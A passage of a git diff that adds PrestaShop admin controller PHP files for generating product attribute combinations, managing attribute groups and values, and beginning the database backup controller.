exceeds the size allowed by the server. The limit is set to %2$d MB.'), + '<b>'.$_FILES['file']['name'].'</b> ', + '<b>'.$upload_mb.'</b>' + ); + } + else if (!empty($_FILES['file']['tmp_name'])) + $this->errors[] = $this->l('Upload error. Please check your server configurations for the maximum upload size allowed.'); + } + $this->validateRules(); + } + return parent::postProcess(); + } +} diff --git a/controllers/admin/AdminAttributeGeneratorController.php b/controllers/admin/AdminAttributeGeneratorController.php new file mode 100755 index 0000000..1d6cd13 --- /dev/null +++ b/controllers/admin/AdminAttributeGeneratorController.php @@ -0,0 +1,263 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +@ini_set('max_execution_time', 3600); + +class AdminAttributeGeneratorControllerCore extends AdminController +{ + protected $combinations = array(); + protected $product; + + public function __construct() + { + $this->table = 'product_attribute'; + $this->className = 'Product'; + $this->multishop_context_group = false; + + parent::__construct(); + } + + protected function addAttribute($attributes, $price = 0, $weight = 0) + { + foreach ($attributes as $attribute) + { + $price += (float)preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('price_impact_'.(int)$attribute))); + $weight += (float)preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('weight_impact_'.(int)$attribute))); + } + if ($this->product->id) + { + return array( + 'id_product' => (int)$this->product->id, + 'price' => (float)$price, + 'weight' => (float)$weight, + 'ecotax' => 0, + 'quantity' => (int)Tools::getValue('quantity'), + 'reference' => pSQL($_POST['reference']), + 'default_on' => 0, + 'available_date' => '0000-00-00' + ); + } + return array(); + } + + protected static function createCombinations($list) + { + if (count($list) <= 1) + return count($list) ? array_map(create_function('$v', 'return (array($v));'), $list[0]) : $list; + $res = array(); + $first = array_pop($list); + foreach ($first as $attribute) + { + $tab = AdminAttributeGeneratorController::createCombinations($list); + foreach ($tab as $to_add) + $res[] = is_array($to_add) ? array_merge($to_add, array($attribute)) : array($to_add, $attribute); + } + return $res; + } + + public function initProcess() + { + if (Tools::isSubmit('generate')) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'generate'; + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + parent::initProcess(); + } + + public function postProcess() + { + $this->product = new Product((int)Tools::getValue('id_product')); + $this->product->loadStockData(); + parent::postProcess(); + } + + public function processGenerate() + { + if (!is_array(Tools::getValue('options'))) + $this->errors[] = Tools::displayError('Please select at least one attribute.'); + else + { + $tab = array_values(Tools::getValue('options')); + if (count($tab) && Validate::isLoadedObject($this->product)) + { + AdminAttributeGeneratorController::setAttributesImpacts($this->product->id, $tab); + $this->combinations = array_values(AdminAttributeGeneratorController::createCombinations($tab)); + $values = array_values(array_map(array($this, 'addAttribute'), $this->combinations)); + + // @since 1.5.0 + if ($this->product->depends_on_stock == 0) + { + $attributes = Product::getProductAttributesIds($this->product->id, true); + foreach ($attributes as $attribute) + StockAvailable::removeProductFromStockAvailable($this->product->id, $attribute['id_product_attribute'], Context::getContext()->shop); + } + + $this->product->deleteProductAttributes(); + $this->product->generateMultipleCombinations($values, $this->combinations); + + // @since 1.5.0 + if ($this->product->depends_on_stock == 0) + { + $attributes = Product::getProductAttributesIds($this->product->id, true); + $quantity = (int)Tools::getValue('quantity'); + foreach ($attributes as $attribute) + StockAvailable::setQuantity($this->product->id, $attribute['id_product_attribute'], $quantity); + } + else + StockAvailable::synchronize($this->product->id); + Tools::redirectAdmin($this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)Tools::getValue('id_product').'&addproduct&key_tab=Combinations&conf=4'); + } + else + $this->errors[] = Tools::displayError('Unable to initialize these parameters. A combination is missing or an object cannot be loaded.'); + } + } + + protected static function displayAndReturnAttributeJs() + { + $attributes = Attribute::getAttributes(Context::getContext()->language->id, true); + $attribute_js = array(); + foreach ($attributes as $k => $attribute) + $attribute_js[$attribute['id_attribute_group']][$attribute['id_attribute']] = $attribute['name']; + echo ' + <script type="text/javascript"> + var attrs = new Array(); + attrs[0] = new Array(0, \'---\');'; + foreach ($attribute_js as $idgrp => $group) + { + echo ' + attrs['.$idgrp.'] = new Array(0, \'---\' '; + foreach ($group as $idattr => $attrname) + echo ', '.$idattr.', \''.addslashes(($attrname)).'\''; + echo ');'; + } + echo ' + </script>'; + return $attribute_js; + } + + protected static function setAttributesImpacts($id_product, $tab) + { + $attributes = array(); + foreach ($tab as $group) + foreach ($group as $attribute) + { + $price = preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('price_impact_'.(int)$attribute))); + $weight = preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('weight_impact_'.(int)$attribute))); + $attributes[] = '('.(int)$id_product.', '.(int)$attribute.', '.(float)$price.', '.(float)$weight.')'; + } + + return Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'attribute_impact` (`id_product`, `id_attribute`, `price`, `weight`) + VALUES '.implode(',', $attributes).' + ON DUPLICATE KEY UPDATE `price` = VALUES(price), `weight` = VALUES(weight)'); + } + + protected static function getAttributesImpacts($id_product) + { + $tab = array(); + $result = Db::getInstance()->executeS( + 'SELECT ai.`id_attribute`, ai.`price`, ai.`weight` + FROM `'._DB_PREFIX_.'attribute_impact` ai + WHERE ai.`id_product` = '.(int)$id_product); + + if (!$result) + return array(); + foreach ($result as $impact) + { + $tab[$impact['id_attribute']]['price'] = (float)$impact['price']; + $tab[$impact['id_attribute']]['weight'] = (float)$impact['weight']; + } + return $tab; + } + + public function initGroupTable() + { + $combinations_groups = $this->product->getAttributesGroups($this->context->language->id); + $attributes = array(); + $impacts = AdminAttributeGeneratorController::getAttributesImpacts($this->product->id); + foreach ($combinations_groups as &$combination) + { + $target = &$attributes[$combination['id_attribute_group']][$combination['id_attribute']]; + $target = $combination; + if (isset($impacts[$combination['id_attribute']])) + { + $target['price'] = $impacts[$combination['id_attribute']]['price']; + $target['weight'] = $impacts[$combination['id_attribute']]['weight']; + } + } + $this->context->smarty->assign(array( + 'currency_sign' => $this->context->currency->sign, + 'weight_unit' => Configuration::get('PS_WEIGHT_UNIT'), + 'attributes' => $attributes, + )); + } + + public function initToolbar() + { + $this->toolbar_btn['back'] = array( + 'href' => $this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)Tools::getValue('id_product').'&addproduct&key_tab=Combinations', + 'desc' => $this->l('Back to the product') + ); + } + + public function initContent() + { + if (!Combination::isFeatureActive()) + { + $this->displayWarning($this->l('This feature has been disabled. You can activate it at:').' + <a href="index.php?tab=AdminPerformance&token='.Tools::getAdminTokenLite('AdminPerformance').'#featuresDetachables">'. + $this->l('Performance').'</a>'); + return; + } + + // Init toolbar + $this->initToolbarTitle(); + $this->initToolbar(); + + $this->initGroupTable(); + + $js_attributes = AdminAttributeGeneratorController::displayAndReturnAttributeJs(); + $attribute_groups = AttributeGroup::getAttributesGroups($this->context->language->id); + $this->product = new Product((int)Tools::getValue('id_product')); + + $this->context->smarty->assign(array( + 'tax_rates' => $this->product->getTaxesRate(), + 'generate' => isset($_POST['generate']) && !count($this->errors), + 'combinations_size' => count($this->combinations), + 'product_name' => $this->product->name[$this->context->language->id], + 'product_reference' => $this->product->reference, + 'url_generator' => self::$currentIndex.'&id_product='.(int)Tools::getValue('id_product').'&attributegenerator&token='.Tools::getValue('token'), + 'attribute_groups' => $attribute_groups, + 'attribute_js' => $js_attributes, + 'toolbar_btn' => $this->toolbar_btn, + 'toolbar_scroll' => true, + 'title' => $this->toolbar_title, + )); + } +} diff --git a/controllers/admin/AdminAttributesGroupsController.php b/controllers/admin/AdminAttributesGroupsController.php new file mode 100755 index 0000000..26c53cc --- /dev/null +++ b/controllers/admin/AdminAttributesGroupsController.php @@ -0,0 +1,793 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminAttributesGroupsControllerCore extends AdminController +{ + protected $id_attribute; + protected $position_identifier = 'id_attribute_group'; + + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'attribute_group'; + $this->identifier = 'id_attribute_group'; + $this->className = 'AttributeGroup'; + $this->lang = true; + $this->_defaultOrderBy = 'position'; + + $this->fields_list = array( + 'id_attribute_group' => array( + 'title' => $this->l('ID'), + 'width' => 25, + 'align' => 'center' + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 'auto', + 'filter_key' => 'b!name', + 'align' => 'left' + ), + 'count_values' => array( + 'title' => $this->l('Values count'), + 'width' => 120, + 'align' => 'center', + ), + 'position' => array( + 'title' => $this->l('Position'), + 'width' => 40, + 'filter_key' => 'a!position', + 'position' => 'position', + 'align' => 'center' + ), + ); + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fieldImageSettings = array('name' => 'texture', 'dir' => 'co'); + + parent::__construct(); + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->addRowAction('details'); + + return parent::renderList(); + } + + /** + * method call when ajax request is made with the details row action + * @see AdminController::postProcess() + */ + public function ajaxProcessDetails() + { + if (($id = Tools::getValue('id'))) + { + $this->table = 'attribute'; + $this->className = 'Attribute'; + $this->identifier = 'id_attribute'; + $this->lang = true; + + if (!Validate::isLoadedObject($obj = new AttributeGroup((int)$id))) + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + + $this->fields_list = array( + 'id_attribute' => array( + 'title' => $this->l('ID'), + 'width' => 40, + 'align' => 'center' + ), + 'name' => array( + 'title' => $this->l('Value'), + 'width' => 'auto', + 'filter_key' => 'b!name' + ) + ); + + if ($obj->group_type == 'color') + $this->fields_list['color'] = array( + 'title' => $this->l('Color'), + 'width' => 40, + 'filter_key' => 'b!color' + ); + + $this->fields_list['position'] = array( + 'title' => $this->l('Position'), + 'width' => 40, + 'filter_key' => 'a!position', + 'position' => 'position' + ); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + // override attributes + $this->display = 'list'; + $this->tpl_folder = 'attributes/'; + + $this->_where = 'AND a.`id_attribute_group` = '.(int)$id; + $this->_orderBy = 'position'; + + // get list and force no limit clause in the request + $this->getList($this->context->language->id, null, null, 0, false); + + // Render list + $helper = new HelperList(); + $helper->actions = $this->actions; + $helper->override_folder = $this->tpl_folder; + $helper->no_link = true; + $helper->shopLinkType = ''; + $helper->identifier = $this->identifier; + $helper->toolbar_scroll = false; + $helper->orderBy = 'position'; + $helper->orderWay = 'ASC'; + $helper->currentIndex = self::$currentIndex; + $helper->token = $this->token; + $helper->table = $this->table; + $helper->simple_header = true; + $helper->show_toolbar = false; + $helper->bulk_actions = $this->bulk_actions; + $helper->position_identifier = 'id_attribute'; + $content = $helper->generateList($this->_list, $this->fields_list); + + die (Tools::jsonEncode(array('use_parent_structure' => false, 'data' => $content))); + } + } + + /** + * AdminController::renderForm() override + * @see AdminController::renderForm() + */ + public function renderForm() + { + $this->table = 'attribute_group'; + $this->identifier = 'id_attribute_group'; + + $group_type = array( + array( + 'id' => 'select', + 'name' => $this->l('Drop-down list') + ), + array( + 'id' => 'radio', + 'name' => $this->l('Radio button') + ), + array( + 'id' => 'color', + 'name' => $this->l('Color') + ), + ); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Attributes'), + 'image' => '../img/admin/asterisk.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Public name:'), + 'name' => 'public_name', + 'lang' => true, + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'desc' => $this->l('Group name displayed to the customer') + ), + array( + 'type' => 'select', + 'label' => $this->l('Attribute type:'), + 'name' => 'group_type', + 'required' => true, + 'options' => array( + 'query' => $group_type, + 'id' => 'id', + 'name' => 'name' + ), + 'desc' => $this->l('Choose the type of the attribute') + ) + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + if (!($obj = $this->loadObject(true))) + return; + + return parent::renderForm(); + } + + public function renderFormAttributes() + { + $attributes_groups = AttributeGroup::getAttributesGroups($this->context->language->id); + + $this->table = 'attribute'; + $this->identifier = 'id_attribute'; + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Values'), + 'image' => '../img/admin/asterisk.gif', + ), + 'input' => array( + array( + 'type' => 'select', + 'label' => $this->l('Attribute type:'), + 'name' => 'id_attribute_group', + 'required' => true, + 'options' => array( + 'query' => $attributes_groups, + 'id' => 'id_attribute_group', + 'name' => 'name' + ), + 'desc' => $this->l('Choose the type of the attribute') + ), + array( + 'type' => 'text', + 'label' => $this->l('Value:'), + 'name' => 'name', + 'lang' => true, + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ) + ) + ); + + if (Shop::isFeatureActive()) + { + // We get all associated shops for all attribute groups, because we will disable group shops + // for attributes that the selected attribute group don't support + $sql = 'SELECT id_attribute_group, id_shop FROM '._DB_PREFIX_.'attribute_group_shop'; + $associations = array(); + foreach (Db::getInstance()->executeS($sql) as $row) + $associations[$row['id_attribute_group']][] = $row['id_shop']; + + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + 'values' => Shop::getTree() + ); + } + else + $associations = array(); + + $this->fields_form['shop_associations'] = Tools::jsonEncode($associations); + + $this->fields_form['input'][] = array( + 'type' => 'color', + 'label' => $this->l('Color:'), + 'name' => 'color', + 'size' => 33, + 'desc' => $this->l('Choose a color with the color picker, or enter an HTML color (e.g. "lightblue", "#CC6600")') + ); + + $this->fields_form['input'][] = array( + 'type' => 'file', + 'label' => $this->l('Texture:'), + 'name' => 'texture', + 'desc' => array( + $this->l('Upload color texture from your computer'), + $this->l('This will override the HTML color!') + ) + ); + + $this->fields_form['input'][] = array( + 'type' => 'current_texture', + 'label' => $this->l('Current texture:'), + 'name' => 'current_texture' + ); + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + // Override var of Controller + $this->table = 'attribute'; + $this->className = 'Attribute'; + $this->identifier = 'id_attribute'; + $this->lang = true; + $this->tpl_folder = 'attributes/'; + + // Create object Attribute + if (!$obj = new Attribute((int)Tools::getValue($this->identifier))) + return; + + $str_attributes_groups = ''; + foreach ($attributes_groups as $attribute_group) + $str_attributes_groups .= '"'.$attribute_group['id_attribute_group'].'" : '.($attribute_group['group_type'] == 'color' ? '1' : '0' ).', '; + + $image = '../img/'.$this->fieldImageSettings['dir'].'/'.(int)$obj->id.'.jpg'; + + $this->tpl_form_vars = array( + 'strAttributesGroups' => $str_attributes_groups, + 'colorAttributeProperties' => Validate::isLoadedObject($obj) && $obj->isColorAttribute(), + 'imageTextureExists' => file_exists(_PS_IMG_DIR_.$this->fieldImageSettings['dir'].'/'.(int)$obj->id.'.jpg'), + 'imageTexture' => $image, + 'imageTextureUrl' => Tools::safeOutput($_SERVER['REQUEST_URI']).'&deleteImage=1' + ); + + return parent::renderForm(); + } + + /** + * AdminController::init() override + * @see AdminController::init() + */ + public function init() + { + if (Tools::isSubmit('updateattribute')) + $this->display = 'editAttributes'; + else if (Tools::isSubmit('submitAddattribute')) + $this->display = 'editAttributes'; + else if (Tools::isSubmit('submitAddattribute_group')) + $this->display = 'add'; + + parent::init(); + } + + /** + * Override processAdd to change SaveAndStay button action + * @see classes/AdminControllerCore::processUpdate() + */ + public function processAdd() + { + $object = parent::processAdd(); + + if (Tools::isSubmit('submitAdd'.$this->table.'AndStay') && !count($this->errors)) + { + if ($this->display == 'add') + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'=&conf=3&update'.$this->table.'&token='.$this->token; + else + $this->redirect_after = self::$currentIndex.'&id_attribute_group='.(int)Tools::getValue('id_attribute_group').'&conf=3&update'.$this->table.'&token='.$this->token; + } + + if (count($this->errors)) + $this->setTypeAttribute(); + + return $object; + } + + /** + * Override processUpdate to change SaveAndStay button action + * @see classes/AdminControllerCore::processUpdate() + */ + public function processUpdate() + { + $object = parent::processUpdate(); + + if (Tools::isSubmit('submitAdd'.$this->table.'AndStay') && !count($this->errors)) + { + if ($this->display == 'add') + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'=&conf=3&update'.$this->table.'&token='.$this->token; + else + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'=&id_attribute_group='.(int)Tools::getValue('id_attribute_group').'&conf=3&update'.$this->table.'&token='.$this->token; + } + + if (count($this->errors)) + $this->setTypeAttribute(); + + return $object; + } + + /** + * AdminController::initContent() override + * @see AdminController::initContent() + */ + public function initContent() + { + if (!Combination::isFeatureActive()) + { + $this->displayWarning($this->l('This feature has been disabled. You can activate it at:'). + ' <a href="index.php?tab=AdminPerformance&token='.Tools::getAdminTokenLite('AdminPerformance'). + '#featuresDetachables">'.$this->l('Performances').'</a>'); + return; + } + + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + if ($this->display == 'edit' || $this->display == 'add') + { + if (!($this->object = $this->loadObject(true))) + return; + $this->content .= $this->renderForm(); + } + else if ($this->display == 'editAttributes') + { + if (!$this->object = new Attribute((int)Tools::getValue('id_attribute'))) + return; + + $this->content .= $this->renderFormAttributes(); + } + else if ($this->display != 'view' && !$this->ajax) + { + $this->content .= $this->renderList(); + $this->content .= $this->renderOptions(); + } + + $this->context->smarty->assign(array( + 'table' => $this->table, + 'current' => self::$currentIndex, + 'token' => $this->token, + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function initToolbar() + { + switch ($this->display) + { + // @todo defining default buttons + case 'add': + case 'edit': + case 'editAttributes': + // Default save button - action dynamically handled in javascript + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + + if ($this->display == 'editAttributes' && !$this->id_attribute) + $this->toolbar_btn['save-and-stay'] = array( + 'short' => 'SaveAndStay', + 'href' => '#', + 'desc' => $this->l('Save then add another value'), + 'force_desc' => true, + ); + + $back = self::$currentIndex.'&token='.$this->token; + $this->toolbar_btn['back'] = array( + 'href' => $back, + 'desc' => $this->l('Back to list') + ); + break; + default: // list + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&add'.$this->table.'&token='.$this->token, + 'desc' => $this->l('Add New Attributes') + ); + $this->toolbar_btn['newAttributes'] = array( + 'href' => self::$currentIndex.'&updateattribute&token='.$this->token, + 'desc' => $this->l('Add New Values'), + 'class' => 'toolbar-new' + ); + } + } + + public function initToolbarTitle() + { + $bread_extended = $this->breadcrumbs; + + switch ($this->display) + { + case 'edit': + $bread_extended[] = $this->l('Edit New Attributes'); + break; + + case 'add': + $bread_extended[] = $this->l('Add New Attributes'); + break; + + case 'editAttributes': + if ($this->id_attribute) + $bread_extended[] = $this->l('Edit Value'); + else + $bread_extended[] = $this->l('Add New Values'); + break; + } + + $this->toolbar_title = $bread_extended; + } + + public function initProcess() + { + $this->setTypeAttribute(); + + parent::initProcess(); + + if ($this->table == 'attribute') + { + $this->display = 'editAttributes'; + $this->id_attribute = (int)Tools::getValue('id_attribute'); + } + } + + protected function setTypeAttribute() + { + if (Tools::getValue('updateattribute') || Tools::isSubmit('deleteattribute') || Tools::isSubmit('submitAddattribute') || Tools::isSubmit('submitBulkdeleteattribute')) + { + $this->table = 'attribute'; + $this->className = 'Attribute'; + $this->identifier = 'id_attribute'; + + if ($this->display == 'edit') + $this->display = 'editAttributes'; + } + } + + /** + * Call the right method for creating or updating object + * + * @return mixed + */ + public function processSave() + { + if ($this->display == 'add' || $this->display == 'edit') + $this->identifier = 'id_attribute_group'; + + if (!$this->id_object) + return $this->processAdd(); + else + return $this->processUpdate(); + } + + public function postProcess() + { + if (!Combination::isFeatureActive()) + return; + + if (!Tools::getValue($this->identifier) && Tools::getValue('id_attribute') && !Tools::getValue('attributeOrderby')) + { + // Override var of Controller + $this->table = 'attribute'; + $this->className = 'Attribute'; + $this->identifier = 'id_attribute'; + } + + // If it's an attribute, load object Attribute() + if (Tools::getValue('updateattribute') || Tools::isSubmit('deleteattribute') || Tools::isSubmit('submitAddattribute')) + { + if ($this->tabAccess['edit'] !== '1') + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + else if (!$object = new Attribute((int)Tools::getValue($this->identifier))) + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + + if (Tools::getValue('position') !== false && Tools::getValue('id_attribute')) + { + $_POST['id_attribute_group'] = $object->id_attribute_group; + if (!$object->updatePosition((int)Tools::getValue('way'), (int)Tools::getValue('position'))) + $this->errors[] = Tools::displayError('Failed to update the position.'); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=5&token='.Tools::getAdminTokenLite('AdminAttributesGroups').'#details_details_'.$object->id_attribute_group); + } + else if (Tools::isSubmit('deleteattribute') && Tools::getValue('id_attribute')) + { + if (!$object->delete()) + $this->errors[] = Tools::displayError('Failed to delete the attribute.'); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=1&token='.Tools::getAdminTokenLite('AdminAttributesGroups')); + } + else if (Tools::isSubmit('submitAddattribute')) + { + Hook::exec('actionObjectAttributeAddBefore'); + $this->action = 'save'; + $id_attribute = (int)Tools::getValue('id_attribute'); + // Adding last position to the attribute if not exist + if ($id_attribute <= 0) + { + $sql = 'SELECT `position`+1 + FROM `'._DB_PREFIX_.'attribute` + WHERE `id_attribute_group` = '.(int)Tools::getValue('id_attribute_group').' + ORDER BY position DESC'; + // set the position of the new group attribute in $_POST for postProcess() method + $_POST['position'] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + $_POST['id_parent'] = 0; + $this->processSave($this->token); + } + } + else + { + if (Tools::getValue('submitDel'.$this->table)) + { + if ($this->tabAccess['delete'] === '1') + { + if (isset($_POST[$this->table.'Box'])) + { + $object = new $this->className(); + if ($object->deleteSelection($_POST[$this->table.'Box'])) + Tools::redirectAdmin(self::$currentIndex.'&conf=2'.'&token='.$this->token); + $this->errors[] = Tools::displayError('An error occurred while deleting this selection.'); + } + else + $this->errors[] = Tools::displayError('You must select at least one element to delete.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + // clean position after delete + AttributeGroup::cleanPositions(); + } + else if (Tools::isSubmit('submitAdd'.$this->table)) + { + Hook::exec('actionObjectAttributeGroupAddBefore'); + $id_attribute_group = (int)Tools::getValue('id_attribute_group'); + // Adding last position to the attribute if not exist + if ($id_attribute_group <= 0) + { + $sql = 'SELECT `position`+1 + FROM `'._DB_PREFIX_.'attribute_group` + ORDER BY position DESC'; + // set the position of the new group attribute in $_POST for postProcess() method + $_POST['position'] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + // clean \n\r characters + foreach ($_POST as $key => $value) + if (preg_match('/^name_/Ui', $key)) + $_POST[$key] = str_replace ('\n', '', str_replace('\r', '', $value)); + parent::postProcess(); + } + else + parent::postProcess(); + } + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + if ($this->ajax) + { + foreach ($this->_list as &$list) + if (file_exists(_PS_IMG_DIR_.$this->fieldImageSettings['dir'].'/'.(int)$list['id_attribute'].'.jpg')) + $list['color']['texture'] = '../img/'.$this->fieldImageSettings['dir'].'/'.(int)$list['id_attribute'].'.jpg'; + } + else + { + $nb_items = count($this->_list); + for ($i = 0; $i < $nb_items; ++$i) + { + $item = &$this->_list[$i]; + + $query = new DbQuery(); + $query->select('COUNT(a.id_attribute) as count_values'); + $query->from('attribute', 'a'); + $query->join(Shop::addSqlAssociation('attribute', 'a')); + $query->where('a.id_attribute_group ='.(int)$item['id_attribute_group']); + $query->groupBy('attribute_shop.id_shop'); + $query->orderBy('count_values DESC'); + $item['count_values'] = (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + unset($query); + } + } + } + + /** + * Overrides parent to delete items from sublist + * + * @return mixed + */ + public function processBulkDelete() + { + // If we are deleting attributes instead of attribute_groups + if (Tools::getIsset('attributeBox')) + { + $this->className = 'Attribute'; + $this->table = 'attribute'; + $this->boxes = Tools::getValue($this->table.'Box'); + } + + $result = parent::processBulkDelete(); + // Restore vars + $this->className = 'AttributeGroup'; + $this->table = 'attribute_group'; + + return $result; + } + + /* Modify group attribute position */ + public function ajaxProcessUpdateGroupsPositions() + { + $way = (int)Tools::getValue('way'); + $id_attribute_group = (int)Tools::getValue('id_attribute_group'); + $positions = Tools::getValue('attribute_group'); + + $new_positions = array(); + foreach ($positions as $k => $v) + if (count(explode('_', $v)) == 4) + $new_positions[] = $v; + + foreach ($new_positions as $position => $value) + { + $pos = explode('_', $value); + + if (isset($pos[2]) && (int)$pos[2] === $id_attribute_group) + { + if ($group_attribute = new AttributeGroup((int)$pos[2])) + if (isset($position) && $group_attribute->updatePosition($way, $position)) + echo 'ok position '.(int)$position.' for group attribute '.(int)$pos[2].'\r\n'; + else + echo '{"hasError" : true, "errors" : "Can not update group attribute '.(int)$id_attribute_group.' to position '.(int)$position.' "}'; + else + echo '{"hasError" : true, "errors" : "This group attribute ('.(int)$id_attribute_group.') can t be loaded"}'; + + break; + } + } + } + + /* Modify attribute position */ + public function ajaxProcessUpdateAttributesPositions() + { + $way = (int)Tools::getValue('way'); + $id_attribute = (int)Tools::getValue('id_attribute'); + $id_attribute_group = (int)Tools::getValue('id_attribute_group'); + $positions = Tools::getValue('attribute'); + + if (is_array($positions)) + foreach ($positions as $position => $value) + { + $pos = explode('_', $value); + + if ((isset($pos[1]) && isset($pos[2])) && ($pos[1] == $id_attribute_group && (int)$pos[2] === $id_attribute)) + { + if ($attribute = new Attribute((int)$pos[2])) + if (isset($position) && $attribute->updatePosition($way, $position)) + echo 'ok position '.(int)$position.' for attribute '.(int)$pos[2].'\r\n'; + else + echo '{"hasError" : true, "errors" : "Can not update attribute '.(int)$id_attribute.' to position '.(int)$position.' "}'; + else + echo '{"hasError" : true, "errors" : "This attribute ('.(int)$id_attribute.') can t be loaded"}'; + + break; + } + } + + } +} diff --git a/controllers/admin/AdminBackupController.php b/controllers/admin/AdminBackupController.php new file mode 100755 index 0000000..734b050 --- /dev/null +++ b/controllers/admin/AdminBackupController.php @@ -0,0 +1,291 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminBackupControllerCore extends AdminController +{ + /** @var string The field we are sorting on */ + protected $sort_by = 'date'; + + public function __construct() + { + $this->table = 'backup'; + $this->className = 'Backup'; + $this->identifier = 'filename'; + parent::__construct(); + + $this->fields_list = array ( + 'date' => array('title' => $this->l('Date'), 'type' => 'datetime', 'width' => 120, 'align' => 'right'), + 'age' => array('title' => $this->l('Age')), + 'filename' => array('title' => $this->l('File name'), 'width' => 200), + 'filesize' => array('title' => $this->l('File size')) + ); + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Backup options'), + 'fields' => array( + 'PS_BACKUP_ALL' => array( + 'title' => $this->l('Ignore statistics tables'), + 'desc' => $this->l('Drop existing tables during import').' + <br />'._DB_PREFIX_.'connections, 